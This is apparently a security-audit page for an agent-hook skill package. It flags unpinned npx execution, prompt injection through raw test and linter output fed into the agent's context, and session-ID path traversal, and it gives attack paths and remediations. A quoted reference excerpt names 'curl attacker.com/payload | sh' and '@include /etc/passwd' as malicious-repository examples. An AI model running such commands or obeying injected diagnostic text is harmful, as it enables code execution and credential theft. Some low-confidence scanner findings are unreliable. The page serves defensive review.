Back to skill

Security audit

Quality Verification

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a disclosed quality-check hook package, but it includes automatic command execution, untrusted output injection, and under-scoped persistence/cleanup behavior that users should review carefully.

Install only if you are comfortable with hooks running local project tools automatically. Prefer a pinned, project-local TypeScript compiler instead of npx, treat hook diagnostic output as untrusted data, validate session IDs before filesystem writes, and do not use the documented cleanup workflow unless it is reviewed, dry-run first, and explicitly confirmed.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T08 · Insecure Dependencies

Warning
Location
scripts/post-edit-check.sh:29
Finding

Automatic execution of an unpinned package through npx

Content
View full analysis
/dev/null && { [ -f "$(dirname "$FILE")/tsconfig.json" ] || [ -f "tsconfig.json" ]; }; then TYPE=$(npx tsc --noEmit "$FILE" 2>&1 | grep -E 'error TS' | head -3) || true [ -n "$TYPE" ] && ERRORS="${ERRORS}tsc: ${TYPE}\n" fi ;; ``` ### Technical Analysis The post-edit hook automatically invokes `npx tsc` whenever an edited TypeScript file and a qualifying `tsconfig.json` are found. The script does not verify that `tsc` comes from a pinned, project-local TypeScript dependency. Depending on the installed npm/npx version and configuration, `npx` can resolve and download a missing package from a configured package registry. This converts a post-edit diagnostic action into a potential remote package retrieval and execution channel. The selected package version and registry are not constrained by this Skill. The diagnostic operation only requires execution of an already installed, trusted compiler. Allowing implicit package installation exceeds that minimum requirement. ### Attack Path 1. A user opens or edits a repository containing a TypeScript file and `tsconfig.json`. 2. The repository does not contain a trusted project-local `tsc` executable, or the environment resolves packages through an attacker-influenced registry. 3. The post-edit hook executes `npx tsc --noEmit`. 4. `npx` attempts to resolve or download a package rather than failing closed. 5. Package installation or lifecycle logic executes with the privileges and environment of the Agent user. ### Impact Assessment Successful exploitation permits arbitrary code execution as the operating-system account running the Agent. That code may access all files, credentials, environment variables, and network resources available to that account. The script does not reques ...[truncated 144 chars]
Remediation
View remediation
&1 | grep -E 'error TS' | head -3) || true ``` - Alternatively, use an npm execution mode that explicitly prohibits downloading missing packages. - Resolve the project root first and verify that the selected executable is beneath the expected project-local `node_modules` directory. - Fail closed or skip diagnostics when the pinned compiler is unavailable; do not install dependencies from a post-edit hook. - Document that dependency installation must be a separate, user-approved operation. ]]>

T01 · Skill Instruction Hijacking

Warning
Location
scripts/post-edit-check.sh:59
Finding

Untrusted repository-controlled output is injected into Agent context

Content
View full analysis
&1 | tail -20) || TEST_EXIT=$? if [ "$TEST_EXIT" -ne 0 ]; then jq -n --arg reason "Tests failed (exit code ${TEST_EXIT}). Fix tests before committing. Output: ${TEST_OUTPUT:0:500}" \ '{"hookSpecificOutput":{"permissionDecision":"deny","reason":$reason}}' else echo '{"continue":true}' fi ``` ### Technical Analysis The hooks capture output from linters, compilers, and repository test suites and insert that output into `additionalContext` or a permission-denial reason consumed by the Agent. Repository contents and test implementations may be attacker-controlled. Diagnostics can contain source text, assertion messages, filenames, generated errors, or arbitrary output printed by project tests. Consequently, a malicious repository can cause instruction-like text to be placed in the Agent’s active context. The use of `jq --arg` correctly prevents JSON syntax injection, but JSON escaping does not establish a semantic trust boundary for the language model. Truncation to ten or twenty lines also does not prevent prompt injection. ### Attack Path 1. An attacker prepares a repository whose source, linter configuration, compiler output, or tests emit instruction-like text. 2. The user edits a supported file or attempts `git commit` while the relevant hook is enabled. 3. The hook runs the diagnostic tool or test suite and captures its output. 4. The captured attacker-c ...[truncated 796 chars]
Remediation
View remediation
... ``` - Return structured fields such as tool name, exit code, file, line, and diagnostic code instead of unrestricted raw output. - Strip terminal escape sequences, control characters, bidirectional text controls, and other formatting that may obscure the origin of content. - Apply conservative length limits per field and prefer allowlisted diagnostic formats. - Ensure the Agent’s governing prompt explicitly states that hook-generated repository output is evidence only and must never override user or system instructions. - Run repository tests in a sandbox with restricted filesystem, environment, and network access; this also reduces the broader risks inherent in executing untrusted project tests. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/bracket-hook.sh:7
Finding

Path traversal through an unvalidated session identifier

Content
View full analysis
/dev/null) [ -z "$SESSION_ID" ] && SESSION_ID="${NC_SESSION:-}" [ -z "$SESSION_ID" ] && echo '{"continue":true}' && exit 0 SESSION_DIR="${SESSIONS_DIR}/${SESSION_ID}" STATE_FILE="${SESSION_DIR}/bracket.json" mkdir -p "$SESSION_DIR" NOW=$(date +%s) # Read or init state if [ -f "$STATE_FILE" ]; then TOTAL_TURNS=$(jq -r '.total_turns // 0' "$STATE_FILE" 2>/dev/null) SESSION_START=$(jq -r '.session_start // 0' "$STATE_FILE" 2>/dev/null) [ "$SESSION_START" -eq 0 ] && SESSION_START="$NOW" else TOTAL_TURNS=0 SESSION_START="$NOW" fi ``` The resulting path is later written as follows: ```bash # Write state atomically TMP="${STATE_FILE}.${$}.tmp" jq -n \ --argjson turns "$TOTAL_TURNS" \ --argjson start "$SESSION_START" \ --argjson duration "$TOTAL_DURATION" \ --arg last "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \ '{total_turns:$turns, session_start:$start, total_duration_s:$duration, last_turn:$last}' > "$TMP" mv "$TMP" "$STATE_FILE" ``` ### Technical Analysis The hook obtains `SESSION_ID` from hook input or the `NC_SESSION` environment variable and directly appends it to a filesystem path. It does not restrict path separators, `..` components, absolute-path-like content, or the identifier length. Shell quoting prevents command injection, but it does not prevent filesystem path traversal. A value such as `../../../../tmp/controlled` can cause the normalized destination to escape `${HOME}/.openclaw/shared-context/sessions`. The hook then creates the destination directory and replaces a file named `bracket.json` there. The atomic `mv` protects against partial writes but does not prote ...[truncated 1128 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (24)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/extended-patterns.md (reported line 25)May include surrounding context.

md
### E6.5: Workspace Trust Security
**What it does**: 根据工作区的信任等级调整安全策略——trusted(用户显式信任的项目)允许 CLAUDE.md 中的 Bash hook、`@` include 可执行文件;untrusted(首次打开、从网络克隆的项目)禁止 hook 中的 Bash 命令、限制 `@` include 范围、工具权限收紧。信任状态存储在用户配置中,首次打开时弹出信任确认。
**Why it matters**: 恶意仓库可以在 CLAUDE.md 中放 `@include /etc/passwd` 或在 hook 中放 `curl attacker.com/payload | sh`。如果所有工作区都 trusted,clone 并打开一个恶意仓库就能执行任意代码。Trust security 确保用户在授予信任前,恶意配置不会生效。
**Source evidence**: VS Code 的 Workspace Trust 机制。Claude Code 的 CLAUDE.md 安全策略。供应链攻击防护。

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/extended-patterns.md (reported line 25)May include surrounding context.

md
### E6.5: Workspace Trust Security
**What it does**: 根据工作区的信任等级调整安全策略——trusted(用户显式信任的项目)允许 CLAUDE.md 中的 Bash hook、`@` include 可执行文件;untrusted(首次打开、从网络克隆的项目)禁止 hook 中的 Bash 命令、限制 `@` include 范围、工具权限收紧。信任状态存储在用户配置中,首次打开时弹出信任确认。
**Why it matters**: 恶意仓库可以在 CLAUDE.md 中放 `@include /etc/passwd` 或在 hook 中放 `curl attacker.com/payload | sh`。如果所有工作区都 trusted,clone 并打开一个恶意仓库就能执行任意代码。Trust security 确保用户在授予信任前,恶意配置不会生效。
**Source evidence**: VS Code 的 Workspace Trust 机制。Claude Code 的 CLAUDE.md 安全策略。供应链攻击防护。

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The document introduces session-state cleanup and deletion logic inside a skill whose declared purpose is quality verification, linting, testing, and session metrics. This scope mismatch is dangerous because it can cause the agent to perform destructive operational maintenance actions when a user only expects verification behavior, increasing the chance of unintended file deletion and repository state changes.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
96% confidence
Finding

The script performs destructive operations such as 'rm -rf' on session directories and lock files and invokes 'git worktree prune', yet these capabilities are not justified by the skill's stated quality-assurance role. In context, this makes the skill more dangerous because routine post-edit or pre-commit triggers could lead to deletion of files, metadata, or repository references outside the user's expectation.

Content

No source excerpt is available for this finding.

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
60% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · tests/test_bracket.py (reported line 15)May include surrounding context.

python
@pytest.fixture
def env(tmp_path):
    e = os.environ.copy()
    e["HOME"] = str(tmp_path)
    sessions = tmp_path / ".openclaw" / "shared-context" / "sessions"
    sessions.mkdir(parents=True)

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
60% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · tests/test_commit_gate.py (reported line 15)May include surrounding context.

python
@pytest.fixture
def env(tmp_path):
    e = os.environ.copy()
    e["HOME"] = str(tmp_path)
    sessions = tmp_path / ".openclaw" / "shared-context" / "sessions"
    sessions.mkdir(parents=True)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill defines shell-executing hooks, reads environment variables, and writes state files, but does not declare any explicit tool scope such as permissions or allowed-tools. That omission weakens least-privilege controls and makes it easier for the skill to run with broader capabilities than intended, especially in environments where hook execution is powerful by default.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The manifest description at L004 is presented in Chinese, and the rest of the skill documentation continues in Chinese without indicating that users may choose another language. This can violate a language/locale policy when a skill effectively forces a specific language without user opt-in or justification.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

Nearly all natural-language instructions, examples, and operational guidance from L019 onward are written in Chinese, with no user choice or documented locale restriction. Because this file governs how the skill is invoked and used, the lack of language choice is a policy concern rather than just a stylistic preference.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

This markdown file presents all operational guidance exclusively in Chinese, which effectively forces a specific language on users without any opt-in or stated region-specific justification. The policy requires flagging language or locale constraints when the skill does not offer a user choice or clearly document why the restriction is necessary.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The substantive skill descriptions from L04 through L25 are written in Chinese, with no indication that language selection is optional or that the document is intended only for a Chinese-speaking or region-specific audience. This creates a natural-language locale policy concern because the file implicitly enforces a single language without user opt-in.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The entire skill reference is written in Chinese and does not offer any language or locale choice, nor does it document that the skill is intended only for a Chinese-speaking or region-specific audience. Under the stated policy, forcing a specific language without user opt-in is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
90% confidence
Finding

The documentation recommends invoking TypeScript via npx tsc without pinning a package version or ensuring a trusted local dependency is used. In environments where typescript is not already installed locally, npx may resolve or fetch an unexpected version, creating supply-chain and reproducibility risk for an automatically triggered post-edit hook.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

The markdown recommends cleanup actions that delete directories, lock files, and stale worktree references, but it does not prominently warn users about deletion risk, false positives, or recovery limitations. In a skill that may be triggered automatically, lack of an explicit warning materially increases the risk of accidental data loss or corruption of active session state.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
92% confidence
Finding

Using npx tsc without pinning a package version can cause npx to resolve and execute a compiler version from the network or an unexpected local/package-manager context, making builds non-reproducible and potentially exposing the hook to unintended code execution. In a post-edit hook, this is more sensitive because it may run automatically on developer actions, increasing the chance of silent dependency execution.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_bracket.py (reported line 24)May include surrounding context.

python
def run(env, stdin_data="", session_id="test-sess"):
    env["NC_SESSION"] = session_id
    result = subprocess.run(
        ["bash", str(SCRIPTS_DIR / "bracket-hook.sh")],
        capture_output=True, text=True, env=env, input=stdin_data, timeout=10,
    )

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_commit_gate.py (reported line 24)May include surrounding context.

python
def run(env, stdin_data="", session_id="test-sess"):
    env["NC_SESSION"] = session_id
    result = subprocess.run(
        ["bash", str(SCRIPTS_DIR / "test-before-commit.sh")],
        capture_output=True, text=True, env=env, input=stdin_data, timeout=10,
    )

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_commit_gate.py (reported line 65)May include surrounding context.

python
empty_dir = tmp_path / "empty_project"
        empty_dir.mkdir()
        inp = json.dumps({"tool_name": "Bash", "tool_input": {"command": "git commit -m 'test'"}})
        result = subprocess.run(
            ["bash", str(SCRIPTS_DIR / "test-before-commit.sh")],
            capture_output=True, text=True, env=e, input=inp, timeout=10,
            cwd=str(empty_dir),

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_post_edit_check.py (reported line 22)May include surrounding context.

python
"tool_input": tool_input,
        "hook_event_name": "PostToolUse",
    })
    result = subprocess.run(
        ["bash", str(SCRIPTS_DIR / "post-edit-check.sh")],
        capture_output=True, text=True, input=inp, timeout=10,
    )

Vague Triggers

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

The manifest description "Output quality assurance and verification" is high-level and generic, without any scope limits, explicit trigger phrases, or exclusion conditions. In a manifest file, this can create ambiguity about when the skill should activate versus ordinary requests about checking quality.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The manifest positions this skill as quality verification and session metrics, which fits the per-turn bracket logic shown in code snippets. However, L59 expands behavior to persistent aggregation in sessions/<session-id>/bracket.json for external monitoring, which goes beyond the immediate transient measurement-only behavior described earlier in the file.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

The file's headings and explanatory text are written in Chinese, with no indication that users may choose another language or locale. Under the policy rule, forcing a specific language without opt-in can be a natural-language policy violation unless the locale constraint is clearly documented and justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
93% confidence
Finding

This markdown file presents its instructions and explanatory content entirely in Chinese, and it does not indicate that the user can choose another language or that the skill is intentionally region- or locale-specific. Under the policy provided, forcing a specific language without user opt-in is a natural-language policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The document is written in Chinese and does not offer any language choice or indicate that the locale restriction is intentional or region-specific. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern.

Content

No source excerpt is available for this finding.